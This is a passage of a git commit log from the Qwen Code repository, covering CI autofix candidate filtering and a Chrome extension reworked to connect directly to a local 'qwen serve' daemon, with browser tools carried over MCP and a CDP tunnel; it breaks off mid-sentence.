Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix Windows CI path expectation (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 11:15:49 +00:00
易良
7f34cdabe1
fix(ci): stabilize merge queue checks (#6056) 2026-06-30 10:27:15 +00:00
jinye
565e4bc437
fix(cli): Guard serve fast-path bundle closure (#5995)
* fix(cli): guard serve fast-path bundle closure

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* test(cli): tighten serve fast-path bundle guard

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5995)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5995)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5995)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-29 14:38:32 +00:00
易良
1af1bb8a55
fix(ci): cover release integration regressions (#5994)
* fix(ci): cover release integration regressions

* fix(ci): retry linter archive downloads

* fix(ci): keep release CI PR focused
2026-06-29 11:54:11 +00:00
jinye
c90e6e7ba4
feat(channels): Add channel agent bridge abstraction (#5978)
* feat(channels): add channel agent bridge abstraction

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(channels): handle bridge session lifecycle cleanup

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(channels): close bridge lifecycle review gaps

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix: address channel bridge review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-29 10:03:28 +00:00
jinye
aa8f9bb993
fix(standalone): Route serve shim through cli-entry (#5977)
* fix(standalone): route serve shim through cli-entry

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#5977)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-29 07:00:39 +00:00
易良
98dec4fa71
fix(release): use relative postinstall patch dir (#5973)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
2026-06-29 03:11:21 +00:00
qqqys
30c35781b3
ci(autofix): loosen issue candidate filters so the agent finds work (#5860)
* ci(autofix): loosen issue candidate filters so the agent finds work

The scheduled issue phase had been finding 0 candidates on every run. Tier-1
requires the rarely-applied status/ready-for-agent label, and tier-2's
"unattended = no human comment at all" rule fought its ">2 days old" age
gate: on a busy repo every aged bug already has a community reply, so the
funnel collapsed (128 aged bugs -> 0 survivors) purely on the comment rule.

- Unattended now keys off maintainer engagement (OWNER/MEMBER/COLLABORATOR
  comments, excluding our own bots), not any human comment. Community
  "+1"/"me too" no longer disqualifies an issue.
- Tier-1 and tier-2 are always both gathered (tier-1 prioritized, then
  de-duped by number) so a single weak ready-for-agent issue can't starve
  the run.
- Tier-2 scans a bounded age window via MIN_ISSUE_AGE_DAYS..MAX_ISSUE_AGE_DAYS
  (1..15) to focus on fresh, settled bugs instead of an unbounded set.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(ci): preserve autofix issue tier priority

* fix(ci): keep ready autofix issues in tier one

* fix(ci): reserve autofix tier two slots

* fix(ci): tolerate tier two autofix scan failures

* fix(ci): tolerate tier one autofix scan failures

* fix(ci): harden autofix candidate merging

* fix(ci): harden autofix issue scanning

* fix(ci): harden autofix diagnostics

* fix(ci): skip unsafe autofix comment fallbacks

* fix(ci): drop unused autofix comments payload

* test(ci): strengthen autofix comment refresh guard

* test(ci): satisfy autofix workflow lint

* test(ci): tighten autofix tier two assertion

* test(ci): cover autofix tier merge guards

* test(ci): cover autofix unattended filter

* fix(ci): summarize autofix comment refresh drops

* fix(ci): bound autofix tier-2 comment-refresh API calls

Cap the tier-2 issues fed into the comment-refresh loop to 15 (a margin
above the ~10 ever selected, since filter_unattended_candidates drops
attended issues afterward) and request full pages with per_page=100, to
avoid GitHub secondary rate limits. Add workflow tests asserting the
forced-issue skip/in-progress exclusion and the tier-2 ready-for-agent
label exclusion stay in place.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

* fix(ci): refresh all scanned tier-2 autofix issues, not just first 15

The previous change capped comment-refresh to the first 15 tier-2 issues
before filter_unattended_candidates runs. The scan still fetches 30, so
valid unattended bugs at positions 16-30 were never refreshed nor
filterable: if the first 15 were all maintainer-attended/dropped, the run
could end with zero candidates again — the failure this PR set out to fix.

Drop the .[0:15] refresh cap and refresh the full scanned set (already
bounded by --limit 30 on the scan). per_page=100 stays as the
pages-per-issue rate-limit mitigation, and the drop summary total/counters
reflect the full refreshed set again. Top-N selection after filtering is
unchanged.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

* fix(ci): order tier priority before recency in autofix assess prompt

The assess prompt gave two conflicting selection rules: the tier note says not to pick a tier-2 issue over a comparably actionable tier-1 one, while the recency tiebreaker says to prefer the most recently reported. Since tier-1 has no age bound and tier-2 is the recent (1-15 day) tier, these point in opposite directions for comparable confidence. Make recency apply only after the tier preference and only within the same tier, removing the contradiction. Prompt text only; no shell/jq change.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

* fix(ci): guard forced-issue jq and derive autofix comment scratch path

Address two review suggestions on the autofix candidate scan step.

- Wrap the forced-issue candidate jq in the same error guard the other
  jq calls use (tier-1/tier-2 stamp, tier merge): on malformed
  forced-issue JSON it now emits a :⚠️: and falls back to an empty
  candidate list instead of silently producing an empty candidates.json
  with no diagnostic.
- Make refresh_issue_comments reuse-safe by deriving its NDJSON scratch
  path from the output_file parameter (${output_file%.json}.ndjson)
  instead of hardcoding tier2-with-comments.ndjson, so a second call or a
  different tier can't clobber a shared scratch file. Behavior for the
  current single call is unchanged.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <noreply@qwen.ai>
2026-06-28 23:00:13 +00:00
易良
5581424b6b
feat(browser-ext): revive Chrome extension via daemon-direct architecture (#5777)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* feat(chrome-qwen-bridge): 🔥 init chrome qwen code bridge

* chore(chrome-qwen-bridge): connect

* chore(chrome-qwen-bridge): connect & them

* chore(chrome-qwen-bridge): connect & them

* chore(chrome-qwen-bridge): wip  use chat ui

* chore(chrome-qwen-bridge): wip  use chat ui

* wip

* refactor(chrome-extension): rename chrome-qwen-bridge package to chrome-extension

* feat(chrome-extension): enhance network monitoring with webRequest API

Replace the existing network monitoring implementation with a more comprehensive solution that combines both webRequest and debugger APIs for broader coverage. The new implementation:

- Uses chrome.webRequest.onBeforeRequest to capture all outgoing requests
- Uses chrome.webRequest.onCompleted to capture completed responses
- Uses chrome.webRequest.onErrorOccurred to capture failed requests
- Retains debugger API integration for detailed network information
- Implements memory management with maximum 1000 logs per tab
- Adds proper initialization and cleanup for each tab
- Ensures graceful handling of debugger attachment failures
- Provides more reliable network activity capture across all tabs

This enhancement significantly improves the reliability and coverage of network monitoring functionality in the Chrome extension.

* refactor(chrome-extension): reorganize directory structure for better maintainability

This commit reorganizes the entire Chrome extension package structure for improved maintainability and clarity:

- Move all source files to `src/` directory (background, content, sidepanel)
- Move build configurations to `config/` directory
- Move documentation to `docs/` directory with proper categorization
- Move all script files to `scripts/` directory
- Move native-host specific files to appropriate subdirectories (`src`, `scripts`, `config`)
- Update package.json scripts to reflect new file locations
- Add comprehensive documentation files (debugging, development, architecture, API reference)
- Maintain all functionality while improving project organization

The reorganization separates source code from build output, centralizes documentation, and creates a clear separation of concerns making the project more maintainable and easier for developers to navigate.

* feat(chrome-extension): enhance native host communication and network logging

- Add troubleshooting documentation for native host setup issues
- Improve native host logging to home directory with fallback to tmp
- Enhance network logging in service worker with response body capture
- Update scripts to properly reference host.js from correct path
- Increase timeout for MCP session creation and long prompts from 3 to 5 minutes
- Add getConsoleLogs functionality to sidepanel for content script capture
- Improve browser-mcp-server network logs aggregation by request ID
- Update icon assets and improve manifest configuration

refactor(chrome-extension): consolidate host.js entry point and improve path resolution

- Create unified host.js entry point that delegates to src/host.js
- Improve path resolution for host scripts in installer and runner scripts
- Add proper path existence checks for browser-mcp-server.js
- Support running from different directory structures

style(chrome-extension): improve TypeScript type safety and error handling

- Add proper type definitions for message handling in side panel
- Add null checks and error handling for message parsing
- Improve React component callback implementations

* refactor(chrome-extension): redesign build workflow

* fix(chrome-extension): resolve ESLint errors in native host, service worker, and content script

- Fix 'Unexpected lexical declaration in case block' by wrapping switch cases in blocks
- Fix 'Unexpected constant truthiness on the left-hand side of a || expression' by using conditional patterns
- Fix unused variable errors by properly using catch error parameters or adding logging
- Fix 'document' and 'window' not defined errors in service worker with proper global declarations
- Add eslint-disable comments where appropriate for globals used in specific contexts

* feat(chrome-extension): enhance native host with browser MCP tools and event streaming

- Add new browser MCP tools: browser_click, browser_click_text, browser_run_js, browser_fill_form_auto
- Implement SSE (Server-Sent Events) for improved event streaming instead of long-polling
- Add daemon script for running the bridge host in background
- Enhance documentation with MCP notes and updated README
- Add multiple executable binaries to package.json: chrome-browser-mcp, qwen-bridge-host
- Improve error handling and event processing in the native host
- Add debouncing mechanism for stream end events in service worker
- Update timeout for MCP discovery to accommodate slower startup

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* fix(chrome-extension): use trusted cwd for MCP tool discovery

The root cause of MCP tools not being recognized by Qwen CLI was that
the cwd (current working directory) was defaulting to '/' (root directory).

In Qwen CLI's MCP discovery logic, there's a security check:
  if (!cliConfig.isTrustedFolder()) {
    return;  // Skip MCP tool discovery
  }

The root directory '/' is not a trusted folder, so MCP tools were
silently not being discovered at all.

Changes:
- host.js: Default to $HOME instead of process.cwd() for start_qwen
- service-worker.js: Remove '/' fallback, let host.js handle default

This ensures browser MCP tools (browser_read_page, browser_click, etc.)
are properly discovered and available to the model.

* fix(core): validate MCP entry script existence before connection

Add pre-flight check to verify that stdio-based MCP server entry scripts
exist on disk before attempting connection. This prevents silent failures
and provides clear error messages for misconfigured MCP servers.

* fix(chrome-extension): enhance native host path resolution and port config

- Add QWEN_BROWSER_MCP_SERVER_PATH env override for custom installations
- Expand candidate search paths for browser-mcp-server.js discovery
- Add detailed logging when MCP server script is not found
- Support BRIDGE_PORT env variable for HTTP API server configuration

* fix(chrome-extension): improve browser MCP server reliability and debugging

- Add comprehensive debug logging for bridge health checks and host spawn
- Support BROWSER_MCP_NO_SPAWN env to disable automatic host.js spawning
- Handle bridge unavailability gracefully with clear error messages
- Add raw JSON mode fallback for clients without Content-Length framing
- Capture and log host.js stdout/stderr instead of inheriting stdio
- Add pre-flight bridge check at startup for better diagnostics
- Handle each bridge call failure with proper error responses

* chore(chrome-extension): add debug wrapper script for MCP server

Add cbmcp-wrapper.sh to help diagnose MCP server invocation issues.
The wrapper logs invocation details and stderr to /tmp/cbmcp.log,
making it easier to debug when Qwen CLI spawns the MCP server.

* docs(chrome-extension): add MCP/Bridge troubleshooting guide

Document common failure scenarios when MCP bridge shows as Disconnected:
- EPERM errors when spawning host.js cannot bind to port
- Content-Length framing issues during MCP handshake
- Step-by-step troubleshooting with flow diagrams
- Manual bridge setup with BROWSER_MCP_NO_SPAWN workaround

* build(chrome-extension): 浏览器插件 mcp 构建优化

* docs(chrome-extension): update docs

* fix(chrome-extension): 解决CDP响应体获取和权限请求处理问题

* feat(mcp-chrome-integration): add MCP Chrome browser extension integration

Add complete Chrome extension with native messaging host for MCP integration:
- Chrome extension with sidepanel UI, service worker, and content script
- Native server with agent engines (Claude/Codex), session management, and tool bridge
- Shared packages for types, tools, and node specifications
- Documentation and build scripts

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* chore(mcp-chrome-integration): refactor

* feat(chrome-extension): 切换到HTTP后端代理并更新构建配置

* refactor(mcp-chrome-integration): build

* wip

* wip chrome extension

* chore: ignore .worktrees

* docs: plan sidepanel component removal

* refactor(sidepanel): remove local components

* feat(chrome-extension): add native messaging ACP client and protocol support

- Add ACP client for native messaging communication
- Add file handler for local file access via native host
- Add protocol definitions for ACP communication
- Archive old documentation files
- Update integration status and protocol documentation

* fix(chrome-extension): use GenericToolCall from @qwen-code/webui

- Replace non-existent local ToolCallCard import with GenericToolCall
- Import from @qwen-code/webui package instead of local path
- Fix component props to match GenericToolCall interface
- Remove unused ToolCallData import

* refactor(mcp-chrome-integration): split large files and fix ESLint errors

- Split tools.ts (1554 lines) into 8 schema files by functionality
- Split native-messaging.ts (1533 lines) into 6 modules
- Split doctor.ts (1099 lines) into 8 modules
- Split content-script.ts (1055 lines) into 5 modules
- Add Qwen Team license headers to all new files
- Remove unused tool names (SEARCH_TABS_CONTENT, SEND_COMMAND_TO_INJECT_SCRIPT, USERSCRIPT, RECORD_REPLAY)
- Fix ESLint errors: no-require-imports, no-explicit-any, no-unused-vars, prefer-const
- Add archive/ directory to eslint ignore patterns

* 调试 MCP 工具成功

* refactor: revert unnecessary formatting changes and clean up MCP chrome-integration

- Revert Node version requirement from >=22 to >=20
- Revert code formatting changes (import statements and indentation)
- Archive obsolete chrome-extension implementation
- Clean up outdated documentation and scripts
- Reorganize MCP chrome-integration docs

* docs(mcp-chrome): 新增核心文档和更新 README

- 新增 02-features-and-architecture.md (27个工具完整参考)
- 新增 03-design-and-implementation.md (与 hangwin/mcp-chrome 对比)
- 新增 04-test-cases.md (35个测试用例)
- 更新 01-installation-guide.md (Extension ID 固定方案)
- 重写 README.md (对齐新文档结构)

* refactor(chrome-extension): 简化 sidepanel 并移除未使用代码

- 删除未使用的 Onboarding 组件
- 删除冗余样式文件 (App.css, timeline.css)
- 删除未使用的工具函数 (diffStats, diffUtils, sessionGrouping, tempFileManager, webviewUtils)
- 新增 MCP 工具状态横幅显示
- 隐藏不需要的 UI 按钮 (slash command, attach, edit mode)
- 移除未使用的变量 (clearToolCalls)
- 更新 manifest.json 和 native-messaging-host

* chore: regenerate lockfile for mcp-chrome-integration workspace

npm install reconciles the lock with the merged package.json: adds the
new packages/mcp-chrome-integration/app/* workspace subtree (371 deps).
No existing main dependencies were removed.

* chore(chrome-integration): drop dead logger + unused pino deps

native-server/src/util/logger.ts was 100% commented-out dead code (even
a hardcoded /Users/hang/... path) with zero importers; pino/pino-pretty
were declared but never imported (logging is console.error to stderr,
correct for a native-messaging host). Remove the file and both deps.

* feat(chrome-integration): WIP serve-backed agent client (Phase 1 backbone)

Replace the hand-rolled ACP client by driving `qwen serve` (main's
maintained HTTP daemon) through the SDK's DaemonClient. New
serve-agent/client.ts spawns `qwen serve --no-web` where the host used to
spawn `qwen --acp`, then uses DaemonClient (REST + SSE) for session
create / prompt / cancel / permission / streaming. Same public surface as
AcpClient so the native host can swap in place.

Compiles + typechecks against the real SDK API. NOT yet wired into
native-messaging-host.ts — wiring is gated on two items that need runtime
validation in a real Chrome + qwen env:
  - OAuth: host's onAuthenticateUpdate (in-extension authUri) maps to
    serve's server-side device-flow events — needs design.
  - permission requestId becomes string (was number) — host's
    permissionRequests map + handler need to follow.

acp/ kept in place until the serve path is validated. Packaging follow-up:
@qwen-code/sdk (→ core) as a dep of the standalone host is fine in the
monorepo but needs a publish-time story (bundle or resolve from the
co-installed qwen).

* feat(browser-ext): daemon-direct connection foundation (Phase 1, #5626)

First brick of the daemon-direct architecture from #5626: the extension
talks straight to a local `qwen serve` HTTP daemon instead of a native
messaging host.

- daemon/config.ts: resolve { baseUrl, token } — default loopback
  http://127.0.0.1:4170 (auth-free), overridable via chrome.storage.local.
- daemon/discovery.ts: GET /health probe so the side panel can show a
  "start qwen serve" hint instead of a broken chat when no daemon is up.

Both typecheck clean. (Pre-existing tsc errors live only in the orphaned
legacy sidepanel hooks — useWebViewMessages/useToolCalls etc. — which the
DaemonSessionProvider migration removes next.)

* docs(browser-ext): daemon-direct architecture spec (Phase 1+2, #5626)

Concrete implementation spec: Phase 1 (side panel as daemon client, no
daemon changes) and Phase 2 (browser tools as a client-hosted MCP server
over the daemon WS). Phase 2 reuses the existing SdkControlClientTransport /
SdkControlServerTransport pattern but moves the wire from the SDK subprocess
control plane onto qwen serve's WebSocket — a new public daemon-contract
surface, gated behind a capability flag (the open question in #5626).
Includes the daemon-lifecycle options for #5626 Q3.

* feat(browser-ext): Phase 1 — side panel as a daemon-direct client (#5626)

Side panel chat now talks straight to a local `qwen serve` HTTP daemon via
@qwen-code/webui's DaemonSessionProvider, replacing the native-messaging
relay (background/ + content/ untouched; nativeMessaging perm kept for now).

- SidePanelRoot.tsx: health gate — checkDaemonHealth(getDaemonConfig());
  shows a "run qwen serve" hint + Retry when unreachable, else mounts
  DaemonSessionProvider around App.
- App.tsx: rewritten daemon-driven — transcript/streaming/permissions/
  lifecycle from the webui daemon hooks (useTranscriptBlocks, useStreamingState,
  usePromptStatus, usePendingPermissions, useConnection, useActions); reuses
  the existing webui presentational components + ChromePlatformProvider.
- sidepanel/daemon/{transcriptItems,permission}.ts: adapters from daemon
  transcript/permission shapes to the existing UI components.
- Deleted the dead legacy native-messaging chat hooks/types.

Verified: sidepanel/daemon tsc clean; `npm run build` (esbuild) passes,
emits the side-panel bundle with the daemon wiring. (Pre-existing tsc errors
remain only in background/ + content/, out of scope until Phase 2.)

Daemon contract accepted live against the worktree `qwen serve`: /health,
/capabilities (advertises session_create/prompt/events/workspace_mcp),
POST /session runs end-to-end to the model-auth gate.

* feat(browser-ext): Phase 2 — browser tools over the daemon WS (#5626)

Reverse tool channel: a WS client (the extension) hosts an MCP server (its
browser tools) that the daemon's agent can call, carrying mcp_message
JSON-RPC frames over the daemon WS — reusing the SdkControlClientTransport /
SDK-MCP-server control-plane pattern. Gated behind capability flag
`client_mcp_over_ws` (opt-in; the public-contract piece flagged in #5626).

Daemon (core + cli/serve):
- core/tools/client-mcp-registrar.ts: ClientMcpRegistrar — id-correlation,
  pending/timeout, notifications fire-and-forget, exposes the
  sendSdkMcpMessage(server,msg) callback McpClientManager consumes.
- cli/serve/acp-http/client-mcp-ws.ts: ClientMcpWsConnection — handles
  mcp_register/mcp_message/mcp_unregister frames; pushes mcp_message down the
  WS; disposes on close. Hookup to the live agent McpClientManager is a
  ClientMcpServerProvider injection point (returns structured `not_wired`
  until the child↔parent reverse-IPC lands — see below).
- capability `client_mcp_over_ws` threaded through serve options/capabilities.

Extension (chrome-extension/background):
- browser-tools-server.ts: minimal hand-rolled MCP JSON-RPC
  (initialize/tools/list/tools/call) reusing the existing tool-catalog +
  router + executors (MVP 6 read-first tools); WS client to the daemon /acp
  with mcp_register + reconnect. Wired into the service worker behind a
  health probe; native messaging left intact.

Self-accepted (no LLM needed): 10/10 tests pass — a headless ws client
registers + answers the MCP handshake over mcp_message and the daemon
lists+CALLS the client-hosted chrome_read_page tool end-to-end over a real
socket. Builds: core + cli + extension esbuild all green; tsc clean.

NOT yet wired (out of scope here; needs acp-bridge + acpAgent reverse IPC):
the parent-process WS ↔ ACP-child McpClientManager hookup — the daemon's WS
lives in the parent serve process but sendSdkMcpMessage binds in the ACP
child. Single injection at the mountAcpHttp call site once that IPC exists.

* feat(serve): wire client-MCP-over-WS to the ACP child agent (#5626)

Closes the Phase 2 gap: a client-hosted (extension) MCP server's tool calls
now reach the agent's McpClientManager in the ACP CHILD, routed back to the
parent's ClientMcpRegistrar and out over the daemon WS. Opt-in via
QWEN_SERVE_CLIENT_MCP_OVER_WS=1 (the contract is still settling — dormant by
default; this is the public-daemon-contract piece flagged in #5626).

Contract additions:
- ACP ext-method `qwen/control/client_mcp/message` (child→parent, called UP):
  {server,payload} → {payload}; notifications resolve with a synthetic ack.
- runtime-MCP config flag `__clientMcpOverWs`: parent stamps it on the SDK-type
  add config; child KEEPS type:'sdk' (instead of stripping) so it binds an
  SdkControlClientTransport instead of the SDK subprocess control plane.
- BridgeOptions.clientMcpSender seam + ServeAppDeps.clientMcpSenderRegistry.

Round-trip: mcp_register(WS) → serve registers the connection's
ClientMcpRegistrar.sendSdkMcpMessage in a process ClientMcpSenderRegistry +
bridge.addRuntimeMcpServer(type:'sdk',__clientMcpOverWs) → child adds the
SDK server + runs initialize/tools/list, each frame child→parent via
client_mcp/message → BridgeClient looks up the sender → registrar pushes
mcp_message down the WS → extension answers → child discovers the tools.

Self-accepted LIVE (no LLM): integration-tests/cli/qwen-serve-client-mcp.test.ts
spawns a REAL qwen serve + REAL qwen --acp child under a mock OpenAI server,
a headless ws client registers + answers the MCP handshake, and the child
discovers the client-hosted chrome_read_page tool over the genuine
child→parent→WS channel (GET /workspace/mcp/chrome-tools/tools lists it).
Verified passing locally (24.6s). +5 bridge round-trip tests; 324 acp-bridge,
the 10 prior Phase-2, acpAgent 133, server+acp-http 675 all pass; builds clean.

Not exercised here: a real LLM turn driving tools/call (needs creds), and a
real Chrome extension as the WS client (headless ws stands in).

* fix(serve): session-scope runtime MCP servers so client tool calls resolve (#5626)

The reverse tool channel registered the client-hosted MCP server only on the
bootstrap/workspace Config, so discovery worked but a prompt — which runs
against an independent per-session Config from newSessionConfig→loadCliConfig
— couldn't resolve the tool ("not found in registry"), and the reverse WS
channel was never reached. Spec (docs/05) intends per-session scope.

Fix (minimal, additive, guarded; normal settings-based MCP servers unaffected):
- core/config.ts: add Config.getRuntimeMcpServers() (shallow copy of the
  private runtimeMcpServers map).
- acpAgent.ts newSessionConfig: copy the bootstrap Config's runtime MCP
  servers into a newly-created session Config before initialize() so its
  discovery binds that session's sendSdkMcpMessage (register-before-session).
- acpAgent.ts workspaceMcpRuntimeAdd/Remove: fan the add/remove out to every
  active session's McpClientManager (register-after-session), best-effort.

Test: the fake model now emits the fully-qualified registered name
mcp__chrome-tools__chrome_read_page (what a real model is handed); the
reverse channel still forwards the bare tool name to the client server.

Verified LIVE (no LLM, no creds): integration test now drives the FULL loop —
model→agent→session-registry resolution→reverse client_mcp/message over the
daemon WS→headless ws client returns CallToolResult→agent consumes it (tool
completed)→turn_complete. 2/2 integration tests pass (confirmed locally).
Regression: config 248, acpAgent 133, mcp-client-manager 101, client-mcp-ws 5
pass; builds clean. (server.test.ts has 2 pre-existing Web-Shell flakes,
identical on the unmodified baseline.)

Still needs a real Chrome extension (vs the headless ws stand-in) + a real
model turn for true browser behavior; the protocol round-trip is proven.

* chore(browser-ext): remove the dead Native Messaging stack (#5626)

Daemon-direct made Native Messaging obsolete — the extension talks to
`qwen serve` directly (chat over HTTP+SSE, browser tools over the daemon WS),
so the entire native-host stack is dead weight. Deletes ~15.5k lines:

- packages/mcp-chrome-integration/app/native-server/ — the whole native host
  (MCP servers, ACP client, Fastify server, doctor/register/report/postinstall,
  the superseded serve-agent backbone).
- extension background transport: native-messaging.ts, native-connection.ts,
  native-message-handler.ts, native-messaging-types.ts, ui-request-router.ts
  (+ its test). The still-used executor types (BrowserToolArgs / RawNetworkRequest
  / WebSocketSession / NetworkCaptureState) move to background/browser-tool-types.ts.
- service-worker rewired to daemon-direct only (drops the NativeMessaging
  init + the onMessage→routeUiRequest relay; keeps the browser-tools server start).
- esbuild.background.config.js drops the deleted native-messaging entry point.
- manifest.json drops the `nativeMessaging` permission.
- package.json scripts drop every native-server/native-host reference; dev-watch
  no longer spawns the native host.
- obsolete native-messaging docs (01-04) + scripts (diagnose/install/update) removed;
  README rewritten for daemon-direct.

Extension esbuild build green; tsc errors dropped (84 -> 69, all pre-existing
node:test/content typings). Daemon-side (cli/serve/core) untouched.

* chore(browser-ext): drop orphaned content-fetch-patch.ts (#5626)

* fix(serve): let browser extensions open the daemon WS reverse channel

The daemon-direct Chrome extension (#5626) connects to qwen serve's /acp
WebSocket to register its browser tools as a client-hosted MCP server.
Three gaps blocked the real-browser path. A node WS client in the
integration tests carries no browser Origin and completes the ACP
handshake, so none of these surfaced until a real Chrome connected:

- The WS CSRF check hard-coded loopback origins, so the extension's
  chrome-extension://<id> Origin was rejected with 403. Wire the
  existing --allow-origin allowlist into the WS upgrade check
  (acp-http/index.ts, server.ts) with the same match semantics as the
  REST allowOriginCors.
- parseAllowOriginPatterns rejected chrome-extension:// because its
  URL.origin is the opaque "null". Rebuild the canonical origin from
  scheme+host for opaque-origin schemes (auth.ts), with tests.
- The extension skipped the ACP initialize handshake and sent
  mcp_register directly, tripping the daemon's 30s initialize timeout.
  Send ACP initialize first and register only after the ack
  (browser-tools-server.ts).

Also allow console.* in the extension package (no stdio in the MV3
runtime) via the eslint no-console allowlist.

Verified end-to-end against a real Chrome: the daemon agent calls
mcp__chrome-tools__chrome_read_page and reads the live active tab.

* docs(browser-ext): Plan C (CDP tunnel) feasibility + implementation design

Assess routing chrome-devtools-mcp's ready-made DevTools toolset through the
extension's chrome.debugger to drive the user's real browser, instead of
re-implementing each tool in the extension (Plan A). Records, with source
verification against chrome-devtools-mcp@1.4.0 + puppeteer-core@25.2.0:

- the createCDPSession wall (why zero-change reuse fails — Target.attachToTarget
  is "Not allowed" for chrome.debugger; cdp-mcp throws in McpContext.from);
- the patch-package fork shape (pin 1.4.0 + a ~2-site patch, not vendor/submodule);
- the daemon /cdp browser-level CDP emulation + sessionId routing design;
- minimal browser-level command set, reusable prior art (playwright-mcp
  --extension), phased steps, risks, and the Plan A fallback.

Refs #5626.

* feat(serve): add CDP browser-level emulator for Plan C tunnel (#5626)

First component of the Plan C "CDP tunnel": a synthesis layer that fakes the
browser-level CDP topology so an external puppeteer client (chrome-devtools-mcp)
can connect over a future /cdp endpoint while page-domain commands are forwarded
to the one real tab via the extension's chrome.debugger.

Implements the exact contract a Phase 0 spike proved necessary: a tab->page
two-level target tree + recursive Target.setAutoAttach (browser attaches the tab
session; the tab session attaches the page session), with page-session commands
routed to forwardToTab and tab events re-tagged with the page session id. The
spike connected real puppeteer to a pure synthesis layer and ran
page.evaluate(() => 1 + 1) === 2. 7 unit tests cover the handshake + routing.

Refs #5626.

* feat(serve): add CDP tunnel reverse-link, /cdp glue, and bridge registry (#5626)

Plan C Phase 1 daemon core. The reverse-link forwards page-domain CDP
commands to the extension over cdp_command/cdp_result frames (id-correlated,
timeout) and re-tags cdp_event onto the page session; cdp-ws wires a per-
puppeteer-connection emulator to the reverse-link bound to the single active
extension bridge in a process-scoped registry. The emulator gains setTabInfo
so the synthetic targetInfo reflects the real tab after cdp_attach.

* feat(serve): wire /cdp upgrade branch and cdpTunnelOverWs flag (#5626)

Adds the /cdp WebSocket upgrade branch to acp-http (reusing the loopback /
host-allowlist / auth / CSRF checks) and routes inbound cdp_* frames on the
extension's /acp socket to the bound reverse-link. The extension connection
registers as the active CDP bridge eagerly at ACP initialize so a /cdp
puppeteer client can bind immediately (avoids the attach chicken-and-egg).
Feature flag cdpTunnelOverWs is wired exactly like clientMcpOverWs
(env QWEN_SERVE_CDP_TUNNEL_OVER_WS=1, capability cdp_tunnel_over_ws),
DEFAULT OFF — existing behaviour is unchanged when off.

* feat(browser-ext): add CDP bridge over the reverse /acp socket (#5626)

The extension answers cdp_attach by attaching chrome.debugger to the active
tab and cdp_command via chrome.debugger.sendCommand, replying cdp_result;
chrome.debugger.onEvent -> cdp_event, onDetach -> cdp_detach. Reuses the
existing browser-tools-server /acp socket (routes cdp_* frames; tears the
bridge down on socket close) and mutually excludes with the
chrome_network_debugger_* tools (one debugger per tab).

* build(deps): pin chrome-devtools-mcp 1.4.0 + puppeteer-core 25.2.0, patch McpContext (#5626)

Pins the two CDP-tunnel client deps (exact, to keep the version-specific
patch and puppeteer's hardcoded ExtensionTransport topology stable) and adds
patches/chrome-devtools-mcp+1.4.0.patch. The patch wraps McpContext.#init's
devtoolsUniverseManager.init / serviceWorkerConsoleCollector.init in try/catch
so the createCDPSession wall (Target.attachToTarget -> -32000 over
chrome.debugger) no longer crashes the server on startup; only performance_* /
service-worker console degrade. Applied via the existing postinstall
patch-package hook (same form as patches/ink+7.0.3.patch).

* test(serve): add Plan C /cdp end-to-end acceptance harness (#5626)

Node script that starts the real daemon with the flag on, connects a mock
extension over /acp (ACP initialize + mcp_register, answering cdp_command with
page-domain CDP), then puppeteer.connect to /cdp and asserts
page.evaluate(() => 1 + 1) === 2 through the real daemon + emulator +
reverse-link. Allowlists the harness dir in eslint's node-script globals.

* fix(serve): gate CDP page commands behind attach completion (#5626)

Real-Chrome testing surfaced an ordering race the mock acceptance missed: the
